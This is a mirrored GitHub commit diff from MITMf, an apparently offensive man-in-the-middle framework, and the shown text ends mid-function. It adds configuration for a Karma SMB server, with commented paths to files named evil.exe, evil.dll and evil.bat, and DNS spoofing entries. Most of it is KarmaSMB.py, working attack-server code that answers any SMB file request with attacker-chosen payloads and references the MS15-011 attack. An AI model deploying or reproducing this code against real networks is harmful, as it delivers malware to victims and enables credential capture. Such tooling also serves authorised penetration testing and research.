mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-07 13:32:18 -07:00
second implementation of the HTTP server, you can now define shares for the SMB server in the config file, added an option to switch between the normal SMB server and the Karma version.
removed some useless code (left over from the responder plugin), serverResponseStatus hook now returns a dict (tuple was causing errors)
This commit is contained in:
parent
e985d42a8a
commit
14580f1589
14 changed files with 806 additions and 920 deletions
|
@ -4,12 +4,6 @@
|
|||
|
||||
[MITMf]
|
||||
|
||||
#
|
||||
#here you can set the arguments to pass to MITMf when it starts so all you need to do is run `python mitmf.py`
|
||||
#(assuming you config file is in the default directory)
|
||||
#
|
||||
args=''
|
||||
|
||||
# Required BeEF and Metasploit options
|
||||
[[BeEF]]
|
||||
beefip = 127.0.0.1
|
||||
|
@ -29,9 +23,58 @@
|
|||
# Here you can configure MITMf's internal SMB server
|
||||
#
|
||||
|
||||
port = 445
|
||||
type = karma # Can be set to Normal or Karma
|
||||
|
||||
# Set a custom challenge
|
||||
Challenge = 1122334455667788
|
||||
|
||||
[[[Shares]]] # Only parsed if type = Normal
|
||||
|
||||
#
|
||||
# You can define shares here
|
||||
#
|
||||
|
||||
# [[[[Share1]]]] #Share name
|
||||
# readonly = yes #Be very careful if you set this to no!
|
||||
# path = /tmp #Share path
|
||||
|
||||
# [[[[Share2]]]]
|
||||
# readonly = yes
|
||||
# path = /tmp
|
||||
|
||||
[[[Karma]]] # Only parsed if type = Karma
|
||||
|
||||
#
|
||||
# Here you can configure the Karma-SMB server
|
||||
#
|
||||
|
||||
defaultfile = '' #Path to the file to serve if the requested extension is not specified below (don't comment out)
|
||||
|
||||
# exe = /tmp/evil.exe
|
||||
# dll = /tmp/evil.dll
|
||||
# ini = /tmp/desktop.ini
|
||||
# bat = /tmp/evil.bat
|
||||
|
||||
[[HTTP]]
|
||||
|
||||
#
|
||||
# Here you can configure MITMf's internal HTTP server
|
||||
#
|
||||
|
||||
port = 80
|
||||
|
||||
[[[Paths]]]
|
||||
|
||||
#
|
||||
# Here you can define the content to deliver
|
||||
#
|
||||
|
||||
# Format is urlpath = filesystem path (urlpath can be a regular expression)
|
||||
|
||||
# ".*" = "/var/www"
|
||||
# "/test" = "/var/www2"
|
||||
|
||||
[[DNS]]
|
||||
|
||||
#
|
||||
|
@ -49,7 +92,7 @@
|
|||
nameservers = 8.8.8.8
|
||||
|
||||
[[[A]]] # Queries for IPv4 address records
|
||||
*.thesprawls.org=192.0.2.1
|
||||
*.thesprawls.org=192.168.178.27
|
||||
|
||||
[[[AAAA]]] # Queries for IPv6 address records
|
||||
*.thesprawl.org=2001:db8::1
|
||||
|
|
|
@ -1,11 +1,46 @@
|
|||
#!/usr/bin/env python2.7
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import logging
|
||||
import sys
|
||||
import tornado.ioloop
|
||||
import tornado.web
|
||||
import threading
|
||||
|
||||
class HTTPServer:
|
||||
from core.configwatcher import ConfigWatcher
|
||||
|
||||
tornado_logger = logging.getLogger("tornado")
|
||||
tornado_logger.propagate = False
|
||||
formatter = logging.Formatter("%(asctime)s [HTTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
fileHandler = logging.FileHandler("./logs/mitmf.log")
|
||||
streamHandler = logging.StreamHandler(sys.stdout)
|
||||
fileHandler.setFormatter(formatter)
|
||||
streamHandler.setFormatter(formatter)
|
||||
tornado_logger.addHandler(fileHandler)
|
||||
tornado_logger.addHandler(streamHandler)
|
||||
|
||||
class HTTPServer(ConfigWatcher):
|
||||
|
||||
_instance = None
|
||||
application = tornado.web.Application([])
|
||||
http_port = int(ConfigWatcher.config["MITMf"]["HTTP"]["port"])
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
|
@ -17,8 +52,31 @@ class HTTPServer:
|
|||
def addHandler(self, urlregex, handler, vhost=''):
|
||||
self.application.add_handlers(vhost, [(urlregex, handler)])
|
||||
|
||||
def start(self, port=80):
|
||||
self.application.listen(port)
|
||||
def addStaticPathHandler(self, urlregex, path, vhost=''):
|
||||
self.application.add_handlers(vhost, [(urlregex, {"static_path": path})])
|
||||
|
||||
def resetApplication(self):
|
||||
self.application = tornado.web.Application([])
|
||||
|
||||
def parseConfig(self):
|
||||
for url,path in self.config['MITMf']['HTTP']['Paths'].iteritems():
|
||||
self.addStaticPathHandler(url, path)
|
||||
|
||||
def onConfigChange(self):
|
||||
self.resetApplication()
|
||||
self.parseConfig()
|
||||
|
||||
def start(self):
|
||||
self.parseConfig()
|
||||
self.application.listen(self.http_port)
|
||||
|
||||
t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
class HTTPHandler(tornado.web.RequestHandler):
|
||||
def get(self):
|
||||
raise HTTPError(405)
|
||||
|
||||
def post(self):
|
||||
raise HTTPError(405)
|
583
core/servers/smb/KarmaSMB.py
Normal file
583
core/servers/smb/KarmaSMB.py
Normal file
|
@ -0,0 +1,583 @@
|
|||
#!/usr/bin/python
|
||||
# Copyright (c) 2015 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Karma SMB
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
# Original idea by @mubix
|
||||
#
|
||||
# Description:
|
||||
# The idea of this script is to answer any file read request
|
||||
# with a set of predefined contents based on the extension
|
||||
# asked, regardless of the sharename and/or path.
|
||||
# When executing this script w/o a config file the pathname
|
||||
# file contents will be sent for every request.
|
||||
# If a config file is specified, format should be this way:
|
||||
# <extension> = <pathname>
|
||||
# for example:
|
||||
# bat = /tmp/batchfile
|
||||
# com = /tmp/comfile
|
||||
# exe = /tmp/exefile
|
||||
#
|
||||
# The SMB2 support works with a caveat. If two different
|
||||
# filenames at the same share are requested, the first
|
||||
# one will work and the second one will not work if the request
|
||||
# is performed right away. This seems related to the
|
||||
# QUERY_DIRECTORY request, where we return the files available.
|
||||
# In the first try, we return the file that was asked to open.
|
||||
# In the second try, the client will NOT ask for another
|
||||
# QUERY_DIRECTORY but will use the cached one. This time the new file
|
||||
# is not there, so the client assumes it doesn't exist.
|
||||
# After a few seconds, looks like the client cache is cleared and
|
||||
# the operation works again. Further research is needed trying
|
||||
# to avoid this from happening.
|
||||
#
|
||||
# SMB1 seems to be working fine on that scenario.
|
||||
#
|
||||
# ToDo:
|
||||
# [ ] A lot of testing needed under different OSes.
|
||||
# I'm still not sure how reliable this approach is.
|
||||
# [ ] Add support for other SMB read commands. Right now just
|
||||
# covering SMB_COM_NT_CREATE_ANDX
|
||||
# [ ] Disable write request, now if the client tries to copy
|
||||
# a file back to us, it will overwrite the files we're
|
||||
# hosting. *CAREFUL!!!*
|
||||
#
|
||||
|
||||
import sys
|
||||
import os
|
||||
import argparse
|
||||
import logging
|
||||
import ntpath
|
||||
import ConfigParser
|
||||
|
||||
from impacket import LOG as logger
|
||||
from impacket import smbserver, smb, version
|
||||
import impacket.smb3structs as smb2
|
||||
from impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE
|
||||
from impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NO_MORE_FILES, \
|
||||
STATUS_OBJECT_PATH_NOT_FOUND
|
||||
from impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \
|
||||
getFileTime, queryPathInformation
|
||||
|
||||
class KarmaSMBServer():
|
||||
def __init__(self, smb_challenge, smb_port, smb2Support = False):
|
||||
self.server = 0
|
||||
self.defaultFile = None
|
||||
self.extensions = {}
|
||||
|
||||
# Here we write a mini config for the server
|
||||
smbConfig = ConfigParser.ConfigParser()
|
||||
smbConfig.add_section('global')
|
||||
smbConfig.set('global','server_name','server_name')
|
||||
smbConfig.set('global','server_os','UNIX')
|
||||
smbConfig.set('global','server_domain','WORKGROUP')
|
||||
smbConfig.set('global', 'challenge', smb_challenge.decode('hex'))
|
||||
smbConfig.set('global','log_file','smb.log')
|
||||
smbConfig.set('global','credentials_file','')
|
||||
|
||||
# IPC always needed
|
||||
smbConfig.add_section('IPC$')
|
||||
smbConfig.set('IPC$','comment','Logon server share')
|
||||
smbConfig.set('IPC$','read only','yes')
|
||||
smbConfig.set('IPC$','share type','3')
|
||||
smbConfig.set('IPC$','path','')
|
||||
|
||||
# NETLOGON always needed
|
||||
smbConfig.add_section('NETLOGON')
|
||||
smbConfig.set('NETLOGON','comment','Logon server share')
|
||||
smbConfig.set('NETLOGON','read only','no')
|
||||
smbConfig.set('NETLOGON','share type','0')
|
||||
smbConfig.set('NETLOGON','path','')
|
||||
|
||||
# SYSVOL always needed
|
||||
smbConfig.add_section('SYSVOL')
|
||||
smbConfig.set('SYSVOL','comment','')
|
||||
smbConfig.set('SYSVOL','read only','no')
|
||||
smbConfig.set('SYSVOL','share type','0')
|
||||
smbConfig.set('SYSVOL','path','')
|
||||
|
||||
if smb2Support:
|
||||
smbConfig.set("global", "SMB2Support", "True")
|
||||
|
||||
self.server = smbserver.SMBSERVER(('0.0.0.0',int(smb_port)), config_parser = smbConfig)
|
||||
self.server.processConfigFile()
|
||||
|
||||
# Unregistering some dangerous and unwanted commands
|
||||
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY)
|
||||
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY)
|
||||
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME)
|
||||
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE)
|
||||
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE)
|
||||
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX)
|
||||
|
||||
self.server.unregisterSmb2Command(smb2.SMB2_WRITE)
|
||||
|
||||
self.origsmbComNtCreateAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX, self.smbComNtCreateAndX)
|
||||
self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX)
|
||||
self.origQueryPathInformation = self.server.hookTransaction2(smb.SMB.TRANS2_QUERY_PATH_INFORMATION, self.queryPathInformation)
|
||||
self.origFindFirst2 = self.server.hookTransaction2(smb.SMB.TRANS2_FIND_FIRST2, self.findFirst2)
|
||||
|
||||
# And the same for SMB2
|
||||
self.origsmb2TreeConnect = self.server.hookSmb2Command(smb2.SMB2_TREE_CONNECT, self.smb2TreeConnect)
|
||||
self.origsmb2Create = self.server.hookSmb2Command(smb2.SMB2_CREATE, self.smb2Create)
|
||||
self.origsmb2QueryDirectory = self.server.hookSmb2Command(smb2.SMB2_QUERY_DIRECTORY, self.smb2QueryDirectory)
|
||||
self.origsmb2Read = self.server.hookSmb2Command(smb2.SMB2_READ, self.smb2Read)
|
||||
self.origsmb2Close = self.server.hookSmb2Command(smb2.SMB2_CLOSE, self.smb2Close)
|
||||
|
||||
# Now we have to register the MS-SRVS server. This specially important for
|
||||
# Windows 7+ and Mavericks clients since they WONT (specially OSX)
|
||||
# ask for shares using MS-RAP.
|
||||
|
||||
self.__srvsServer = SRVSServer()
|
||||
self.__srvsServer.daemon = True
|
||||
self.server.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort()))
|
||||
|
||||
def findFirst2(self, connId, smbServer, recvPacket, parameters, data, maxDataCount):
|
||||
connData = smbServer.getConnectionData(connId)
|
||||
|
||||
respSetup = ''
|
||||
respParameters = ''
|
||||
respData = ''
|
||||
errorCode = STATUS_SUCCESS
|
||||
findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters)
|
||||
|
||||
# 1. Let's grab the extension and map the file's contents we will deliver
|
||||
origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],findFirst2Parameters['FileName']).replace('\\','/'))
|
||||
origFileName = os.path.basename(origPathName)
|
||||
|
||||
_, origPathNameExtension = os.path.splitext(origPathName)
|
||||
origPathNameExtension = origPathNameExtension.upper()[1:]
|
||||
|
||||
if self.extensions.has_key(origPathNameExtension.upper()):
|
||||
targetFile = self.extensions[origPathNameExtension.upper()]
|
||||
else:
|
||||
targetFile = self.defaultFile
|
||||
|
||||
if (len(data) > 0):
|
||||
findFirst2Data = smb.SMBFindFirst2_Data(data)
|
||||
else:
|
||||
findFirst2Data = ''
|
||||
|
||||
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
|
||||
path = connData['ConnectedShares'][recvPacket['Tid']]['path']
|
||||
|
||||
# 2. We call the normal findFirst2 call, but with our targetFile
|
||||
searchResult, searchCount, errorCode = findFirst2(path,
|
||||
targetFile,
|
||||
findFirst2Parameters['InformationLevel'],
|
||||
findFirst2Parameters['SearchAttributes'] )
|
||||
|
||||
respParameters = smb.SMBFindFirst2Response_Parameters()
|
||||
endOfSearch = 1
|
||||
sid = 0x80 # default SID
|
||||
searchCount = 0
|
||||
totalData = 0
|
||||
for i in enumerate(searchResult):
|
||||
#i[1].dump()
|
||||
try:
|
||||
# 3. And we restore the original filename requested ;)
|
||||
i[1]['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = origFileName)
|
||||
except:
|
||||
pass
|
||||
|
||||
data = i[1].getData()
|
||||
lenData = len(data)
|
||||
if (totalData+lenData) >= maxDataCount or (i[0]+1) > findFirst2Parameters['SearchCount']:
|
||||
# We gotta stop here and continue on a find_next2
|
||||
endOfSearch = 0
|
||||
# Simple way to generate a fid
|
||||
if len(connData['SIDs']) == 0:
|
||||
sid = 1
|
||||
else:
|
||||
sid = connData['SIDs'].keys()[-1] + 1
|
||||
# Store the remaining search results in the ConnData SID
|
||||
connData['SIDs'][sid] = searchResult[i[0]:]
|
||||
respParameters['LastNameOffset'] = totalData
|
||||
break
|
||||
else:
|
||||
searchCount +=1
|
||||
respData += data
|
||||
totalData += lenData
|
||||
|
||||
|
||||
respParameters['SID'] = sid
|
||||
respParameters['EndOfSearch'] = endOfSearch
|
||||
respParameters['SearchCount'] = searchCount
|
||||
else:
|
||||
errorCode = STATUS_SMB_BAD_TID
|
||||
|
||||
smbServer.setConnectionData(connId, connData)
|
||||
|
||||
return respSetup, respParameters, respData, errorCode
|
||||
|
||||
def smbComNtCreateAndX(self, connId, smbServer, SMBCommand, recvPacket):
|
||||
connData = smbServer.getConnectionData(connId)
|
||||
|
||||
ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters'])
|
||||
ntCreateAndXData = smb.SMBNtCreateAndX_Data( flags = recvPacket['Flags2'], data = SMBCommand['Data'])
|
||||
|
||||
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX)
|
||||
|
||||
#ntCreateAndXParameters.dump()
|
||||
|
||||
# Let's try to avoid allowing write requests from the client back to us
|
||||
# not 100% bulletproof, plus also the client might be using other SMB
|
||||
# calls (e.g. SMB_COM_WRITE)
|
||||
createOptions = ntCreateAndXParameters['CreateOptions']
|
||||
if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE == FILE_OVERWRITE:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE_IF == FILE_OVERWRITE_IF:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
elif ntCreateAndXParameters['AccessMask'] & smb.FILE_WRITE_DATA == FILE_WRITE_DATA:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
elif ntCreateAndXParameters['AccessMask'] & smb.FILE_APPEND_DATA == FILE_APPEND_DATA:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
elif ntCreateAndXParameters['AccessMask'] & smb.GENERIC_WRITE == GENERIC_WRITE:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
elif ntCreateAndXParameters['AccessMask'] & 0x10000 == 0x10000:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
else:
|
||||
errorCode = STATUS_SUCCESS
|
||||
|
||||
if errorCode == STATUS_ACCESS_DENIED:
|
||||
return [respSMBCommand], None, errorCode
|
||||
|
||||
# 1. Let's grab the extension and map the file's contents we will deliver
|
||||
origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],ntCreateAndXData['FileName']).replace('\\','/'))
|
||||
|
||||
_, origPathNameExtension = os.path.splitext(origPathName)
|
||||
origPathNameExtension = origPathNameExtension.upper()[1:]
|
||||
|
||||
if self.extensions.has_key(origPathNameExtension.upper()):
|
||||
targetFile = self.extensions[origPathNameExtension.upper()]
|
||||
else:
|
||||
targetFile = self.defaultFile
|
||||
|
||||
# 2. We change the filename in the request for our targetFile
|
||||
ntCreateAndXData['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = targetFile)
|
||||
SMBCommand['Data'] = str(ntCreateAndXData)
|
||||
smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO)
|
||||
|
||||
# 3. We call the original call with our modified data
|
||||
return self.origsmbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket)
|
||||
|
||||
def queryPathInformation(self, connId, smbServer, recvPacket, parameters, data, maxDataCount = 0):
|
||||
# The trick we play here is that Windows clients first ask for the file
|
||||
# and then it asks for the directory containing the file.
|
||||
# It is important to answer the right questions for the attack to work
|
||||
|
||||
connData = smbServer.getConnectionData(connId)
|
||||
|
||||
respSetup = ''
|
||||
respParameters = ''
|
||||
respData = ''
|
||||
errorCode = 0
|
||||
|
||||
queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters)
|
||||
if len(data) > 0:
|
||||
queryPathInfoData = smb.SMBQueryPathInformation_Data(data)
|
||||
|
||||
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
|
||||
path = ''
|
||||
try:
|
||||
origPathName = decodeSMBString(recvPacket['Flags2'], queryPathInfoParameters['FileName'])
|
||||
origPathName = os.path.normpath(origPathName.replace('\\','/'))
|
||||
|
||||
if connData.has_key('MS15011') is False:
|
||||
connData['MS15011'] = {}
|
||||
|
||||
smbServer.log("Client is asking for QueryPathInformation for: %s" % origPathName,logging.INFO)
|
||||
if connData['MS15011'].has_key(origPathName) or origPathName == '.':
|
||||
# We already processed this entry, now it's asking for a directory
|
||||
infoRecord, errorCode = queryPathInformation(path, '/', queryPathInfoParameters['InformationLevel'])
|
||||
else:
|
||||
# First time asked, asking for the file
|
||||
infoRecord, errorCode = queryPathInformation(path, self.defaultFile, queryPathInfoParameters['InformationLevel'])
|
||||
connData['MS15011'][os.path.dirname(origPathName)] = infoRecord
|
||||
except Exception, e:
|
||||
#import traceback
|
||||
#traceback.print_exc()
|
||||
smbServer.log("queryPathInformation: %s" % e,logging.ERROR)
|
||||
|
||||
if infoRecord is not None:
|
||||
respParameters = smb.SMBQueryPathInformationResponse_Parameters()
|
||||
respData = infoRecord
|
||||
else:
|
||||
errorCode = STATUS_SMB_BAD_TID
|
||||
|
||||
smbServer.setConnectionData(connId, connData)
|
||||
|
||||
return respSetup, respParameters, respData, errorCode
|
||||
|
||||
def smb2Read(self, connId, smbServer, recvPacket):
|
||||
connData = smbServer.getConnectionData(connId)
|
||||
connData['MS15011']['StopConnection'] = True
|
||||
smbServer.setConnectionData(connId, connData)
|
||||
return self.origsmb2Read(connId, smbServer, recvPacket)
|
||||
|
||||
def smb2Close(self, connId, smbServer, recvPacket):
|
||||
connData = smbServer.getConnectionData(connId)
|
||||
# We're closing the connection trying to flush the client's
|
||||
# cache.
|
||||
if connData['MS15011']['StopConnection'] == True:
|
||||
return [smb2.SMB2Error()], None, STATUS_USER_SESSION_DELETED
|
||||
return self.origsmb2Close(connId, smbServer, recvPacket)
|
||||
|
||||
def smb2Create(self, connId, smbServer, recvPacket):
|
||||
connData = smbServer.getConnectionData(connId)
|
||||
|
||||
ntCreateRequest = smb2.SMB2Create(recvPacket['Data'])
|
||||
|
||||
# Let's try to avoid allowing write requests from the client back to us
|
||||
# not 100% bulletproof, plus also the client might be using other SMB
|
||||
# calls
|
||||
createOptions = ntCreateRequest['CreateOptions']
|
||||
if createOptions & smb2.FILE_DELETE_ON_CLOSE == smb2.FILE_DELETE_ON_CLOSE:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE == smb2.FILE_OVERWRITE:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE_IF == smb2.FILE_OVERWRITE_IF:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
elif ntCreateRequest['DesiredAccess'] & smb2.FILE_WRITE_DATA == smb2.FILE_WRITE_DATA:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
elif ntCreateRequest['DesiredAccess'] & smb2.FILE_APPEND_DATA == smb2.FILE_APPEND_DATA:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
elif ntCreateRequest['DesiredAccess'] & smb2.GENERIC_WRITE == smb2.GENERIC_WRITE:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
elif ntCreateRequest['DesiredAccess'] & 0x10000 == 0x10000:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
else:
|
||||
errorCode = STATUS_SUCCESS
|
||||
|
||||
if errorCode == STATUS_ACCESS_DENIED:
|
||||
return [smb2.SMB2Error()], None, errorCode
|
||||
|
||||
# 1. Let's grab the extension and map the file's contents we will deliver
|
||||
origPathName = os.path.normpath(ntCreateRequest['Buffer'][:ntCreateRequest['NameLength']].decode('utf-16le').replace('\\','/'))
|
||||
|
||||
_, origPathNameExtension = os.path.splitext(origPathName)
|
||||
origPathNameExtension = origPathNameExtension.upper()[1:]
|
||||
|
||||
# Are we being asked for a directory?
|
||||
if (createOptions & smb2.FILE_DIRECTORY_FILE) == 0:
|
||||
if self.extensions.has_key(origPathNameExtension.upper()):
|
||||
targetFile = self.extensions[origPathNameExtension.upper()]
|
||||
else:
|
||||
targetFile = self.defaultFile
|
||||
connData['MS15011']['FileData'] = (os.path.basename(origPathName), targetFile)
|
||||
smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO)
|
||||
else:
|
||||
targetFile = '/'
|
||||
|
||||
# 2. We change the filename in the request for our targetFile
|
||||
ntCreateRequest['Buffer'] = targetFile.encode('utf-16le')
|
||||
ntCreateRequest['NameLength'] = len(targetFile)*2
|
||||
recvPacket['Data'] = str(ntCreateRequest)
|
||||
|
||||
# 3. We call the original call with our modified data
|
||||
return self.origsmb2Create(connId, smbServer, recvPacket)
|
||||
|
||||
def smb2QueryDirectory(self, connId, smbServer, recvPacket):
|
||||
# Windows clients with SMB2 will also perform a QueryDirectory
|
||||
# expecting to get the filename asked. So we deliver it :)
|
||||
connData = smbServer.getConnectionData(connId)
|
||||
|
||||
respSMBCommand = smb2.SMB2QueryDirectory_Response()
|
||||
queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data'])
|
||||
|
||||
errorCode = 0xff
|
||||
respSMBCommand['Buffer'] = '\x00'
|
||||
|
||||
errorCode = STATUS_SUCCESS
|
||||
|
||||
#if (queryDirectoryRequest['Flags'] & smb2.SL_RETURN_SINGLE_ENTRY) == 0:
|
||||
# return [smb2.SMB2Error()], None, STATUS_NOT_SUPPORTED
|
||||
|
||||
if connData['MS15011']['FindDone'] is True:
|
||||
|
||||
connData['MS15011']['FindDone'] = False
|
||||
smbServer.setConnectionData(connId, connData)
|
||||
return [smb2.SMB2Error()], None, STATUS_NO_MORE_FILES
|
||||
else:
|
||||
origName, targetFile = connData['MS15011']['FileData']
|
||||
(mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(targetFile)
|
||||
|
||||
infoRecord = smb.SMBFindFileIdBothDirectoryInfo( smb.SMB.FLAGS2_UNICODE )
|
||||
infoRecord['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE
|
||||
|
||||
infoRecord['EaSize'] = 0
|
||||
infoRecord['EndOfFile'] = size
|
||||
infoRecord['AllocationSize'] = size
|
||||
infoRecord['CreationTime'] = getFileTime(ctime)
|
||||
infoRecord['LastAccessTime'] = getFileTime(atime)
|
||||
infoRecord['LastWriteTime'] = getFileTime(mtime)
|
||||
infoRecord['LastChangeTime'] = getFileTime(mtime)
|
||||
infoRecord['ShortName'] = '\x00'*24
|
||||
#infoRecord['FileName'] = os.path.basename(origName).encode('utf-16le')
|
||||
infoRecord['FileName'] = origName.encode('utf-16le')
|
||||
padLen = (8-(len(infoRecord) % 8)) % 8
|
||||
infoRecord['NextEntryOffset'] = 0
|
||||
|
||||
respSMBCommand['OutputBufferOffset'] = 0x48
|
||||
respSMBCommand['OutputBufferLength'] = len(infoRecord.getData())
|
||||
respSMBCommand['Buffer'] = infoRecord.getData() + '\xaa'*padLen
|
||||
connData['MS15011']['FindDone'] = True
|
||||
|
||||
smbServer.setConnectionData(connId, connData)
|
||||
return [respSMBCommand], None, errorCode
|
||||
|
||||
def smb2TreeConnect(self, connId, smbServer, recvPacket):
|
||||
connData = smbServer.getConnectionData(connId)
|
||||
|
||||
respPacket = smb2.SMB2Packet()
|
||||
respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR
|
||||
respPacket['Status'] = STATUS_SUCCESS
|
||||
respPacket['CreditRequestResponse'] = 1
|
||||
respPacket['Command'] = recvPacket['Command']
|
||||
respPacket['SessionID'] = connData['Uid']
|
||||
respPacket['Reserved'] = recvPacket['Reserved']
|
||||
respPacket['MessageID'] = recvPacket['MessageID']
|
||||
respPacket['TreeID'] = recvPacket['TreeID']
|
||||
|
||||
respSMBCommand = smb2.SMB2TreeConnect_Response()
|
||||
|
||||
treeConnectRequest = smb2.SMB2TreeConnect(recvPacket['Data'])
|
||||
|
||||
errorCode = STATUS_SUCCESS
|
||||
|
||||
## Process here the request, does the share exist?
|
||||
path = str(recvPacket)[treeConnectRequest['PathOffset']:][:treeConnectRequest['PathLength']]
|
||||
UNCOrShare = path.decode('utf-16le')
|
||||
|
||||
# Is this a UNC?
|
||||
if ntpath.ismount(UNCOrShare):
|
||||
path = UNCOrShare.split('\\')[3]
|
||||
else:
|
||||
path = ntpath.basename(UNCOrShare)
|
||||
|
||||
# We won't search for the share.. all of them exist :P
|
||||
#share = searchShare(connId, path.upper(), smbServer)
|
||||
connData['MS15011'] = {}
|
||||
connData['MS15011']['FindDone'] = False
|
||||
connData['MS15011']['StopConnection'] = False
|
||||
share = {}
|
||||
if share is not None:
|
||||
# Simple way to generate a Tid
|
||||
if len(connData['ConnectedShares']) == 0:
|
||||
tid = 1
|
||||
else:
|
||||
tid = connData['ConnectedShares'].keys()[-1] + 1
|
||||
connData['ConnectedShares'][tid] = share
|
||||
connData['ConnectedShares'][tid]['path'] = '/'
|
||||
connData['ConnectedShares'][tid]['shareName'] = path
|
||||
respPacket['TreeID'] = tid
|
||||
#smbServer.log("Connecting Share(%d:%s)" % (tid,path))
|
||||
else:
|
||||
smbServer.log("SMB2_TREE_CONNECT not found %s" % path, logging.ERROR)
|
||||
errorCode = STATUS_OBJECT_PATH_NOT_FOUND
|
||||
respPacket['Status'] = errorCode
|
||||
##
|
||||
|
||||
if path == 'IPC$':
|
||||
respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_PIPE
|
||||
respSMBCommand['ShareFlags'] = 0x30
|
||||
else:
|
||||
respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_DISK
|
||||
respSMBCommand['ShareFlags'] = 0x0
|
||||
|
||||
respSMBCommand['Capabilities'] = 0
|
||||
respSMBCommand['MaximalAccess'] = 0x011f01ff
|
||||
|
||||
respPacket['Data'] = respSMBCommand
|
||||
|
||||
smbServer.setConnectionData(connId, connData)
|
||||
|
||||
return None, [respPacket], errorCode
|
||||
|
||||
def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket):
|
||||
connData = smbServer.getConnectionData(connId)
|
||||
|
||||
resp = smb.NewSMBPacket()
|
||||
resp['Flags1'] = smb.SMB.FLAGS1_REPLY
|
||||
resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE
|
||||
|
||||
resp['Tid'] = recvPacket['Tid']
|
||||
resp['Mid'] = recvPacket['Mid']
|
||||
resp['Pid'] = connData['Pid']
|
||||
|
||||
